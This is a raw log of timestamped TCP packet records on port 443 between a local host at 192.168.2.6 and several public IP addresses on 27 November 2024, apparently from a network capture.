Nov 27, 2024 11:14:26.863322973 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.863365889 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.872168064 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.882189035 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.882273912 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.882287979 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.882306099 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.882359982 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.905064106 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:26.906987906 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.908817053 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.908869028 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.908875942 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.923022985 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.923105955 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.923113108 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.924886942 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.924920082 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.924925089 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.924931049 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.924972057 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.928070068 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.936929941 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.936971903 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.936975002 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.936981916 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.937017918 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.937223911 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.946582079 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.946633101 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.946640015 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.948270082 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:26.948432922 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:26.948441029 CET	443	49750	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:26.950443983 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:26.958534002 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.958574057 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.958581924 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.961383104 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.961422920 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.961429119 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.980447054 CET	49763	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.980489016 CET	443	49763	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.980555058 CET	49763	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.986377001 CET	49763	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:26.986392021 CET	443	49763	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:26.988532066 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.988578081 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:26.988585949 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:26.991339922 CET	443	49750	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:27.002974033 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.003032923 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.003045082 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.003864050 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.003907919 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.003914118 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.009386063 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.009444952 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.009453058 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.012268066 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.012311935 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.012320995 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.014236927 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.014286041 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.014293909 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.016858101 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.016906977 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.016918898 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.020366907 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.020416975 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.020423889 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.023188114 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.023242950 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.023255110 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.025085926 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.025130987 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.025135994 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.025168896 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.025218964 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.038006067 CET	49741	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.038022041 CET	443	49741	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.121334076 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.121412992 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.275671005 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.275685072 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.278281927 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.278289080 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.321448088 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.321476936 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.321592093 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.321814060 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.321827888 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.450706005 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.450738907 CET	443	49769	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.450882912 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.451261044 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.451275110 CET	443	49769	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.563847065 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.563924074 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.601645947 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.601727009 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.604058981 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.604151011 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.614655972 CET	443	49750	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:27.614878893 CET	443	49750	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:27.614938021 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:27.615422010 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.615495920 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.615633011 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:27.615650892 CET	443	49750	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:27.615662098 CET	49750	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:27.649614096 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.649631977 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.649939060 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.650072098 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.650396109 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.650418043 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.650670052 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.650762081 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.650943041 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.651341915 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.651485920 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.651504040 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.652064085 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.652080059 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.652167082 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.652173996 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.652198076 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.652204990 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.652936935 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.653146029 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.653269053 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.653323889 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:27.691330910 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.695338964 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:27.701303005 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.701375961 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.701401949 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.701412916 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.701427937 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.701476097 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.701487064 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.701560974 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.701649904 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.702275991 CET	49753	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:27.702287912 CET	443	49753	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:27.716173887 CET	49770	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.716231108 CET	443	49770	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.717219114 CET	49770	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.717534065 CET	49770	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:27.717550039 CET	443	49770	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:27.881283045 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:27.881328106 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:27.881493092 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:27.898507118 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:27.898529053 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:27.912647963 CET	443	49758	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:27.915823936 CET	49758	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:27.915855885 CET	443	49758	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:27.916265011 CET	49758	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:27.916270018 CET	443	49758	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.113687992 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.113713980 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.113728046 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.113738060 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.113750935 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.113780022 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.113826990 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.113867998 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.113889933 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.113905907 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.113933086 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.113941908 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.113971949 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.114022017 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.118355989 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.118413925 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.118413925 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.118447065 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.118479013 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.118489027 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.118520975 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.118527889 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.118560076 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.118587971 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.123965979 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.124039888 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.124063015 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.124073982 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.124130964 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.124150038 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.156548023 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.156569958 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.156682014 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.156682014 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.156716108 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.156784058 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.164877892 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.164977074 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.272053957 CET	443	49761	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.272526026 CET	49761	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.272551060 CET	443	49761	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.273061991 CET	49761	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.273068905 CET	443	49761	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.275690079 CET	443	49760	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.276134968 CET	49760	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.276151896 CET	443	49760	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.276487112 CET	443	49759	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.276511908 CET	49760	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.276516914 CET	443	49760	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.276803017 CET	49759	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.276834965 CET	443	49759	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.277338982 CET	49759	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.277348995 CET	443	49759	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.314953089 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.314973116 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.315023899 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.315037966 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.315076113 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.315095901 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.317922115 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.317944050 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.318048000 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.318059921 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.318108082 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.323846102 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.323858023 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.323914051 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.323930979 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.323945999 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.323986053 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.323997974 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.336991072 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.337138891 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.337152004 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.337232113 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.349260092 CET	443	49758	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.349349022 CET	443	49758	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.349459887 CET	49758	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.349829912 CET	49758	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.349849939 CET	443	49758	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.349864006 CET	49758	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.349869967 CET	443	49758	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.354872942 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.354892969 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.354971886 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.354980946 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.355017900 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.355120897 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.357248068 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.357295990 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.357331038 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.357340097 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.357358932 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.357381105 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.358952999 CET	49775	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.359003067 CET	443	49775	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.359138966 CET	49775	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.359479904 CET	49775	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:28.359499931 CET	443	49775	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:28.366537094 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.366600037 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.366609097 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.366677046 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.374262094 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.374280930 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.374355078 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.374366045 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.374397993 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.374413013 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.388176918 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.388253927 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.388262987 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.388326883 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.411499023 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.411578894 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.411612034 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.411711931 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.499737024 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.499757051 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.499830961 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.499855042 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.499892950 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.502737045 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.502758980 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.502819061 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.502830982 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.502959013 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.502959013 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.510066032 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.510092020 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.510128021 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.510143995 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.510173082 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.510199070 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.526202917 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.526211023 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.526279926 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.526292086 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.526349068 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.527048111 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.527122974 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.527131081 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.527319908 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.532857895 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.532876015 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.532934904 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.532949924 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.532968044 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.533070087 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.543725967 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.543745995 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.543797016 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.543809891 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.543848038 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.543869019 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.546438932 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.546520948 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.546529055 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.546590090 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.547307968 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.547332048 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.547386885 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.547398090 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.547425985 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.547440052 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.549799919 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.549818039 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.549880981 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.549889088 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.549901009 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.549962044 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.561763048 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.561781883 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.561830044 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.561857939 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.561883926 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.561896086 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.562747955 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.562827110 CET	49757	443	192.168.2.6	150.171.27.10
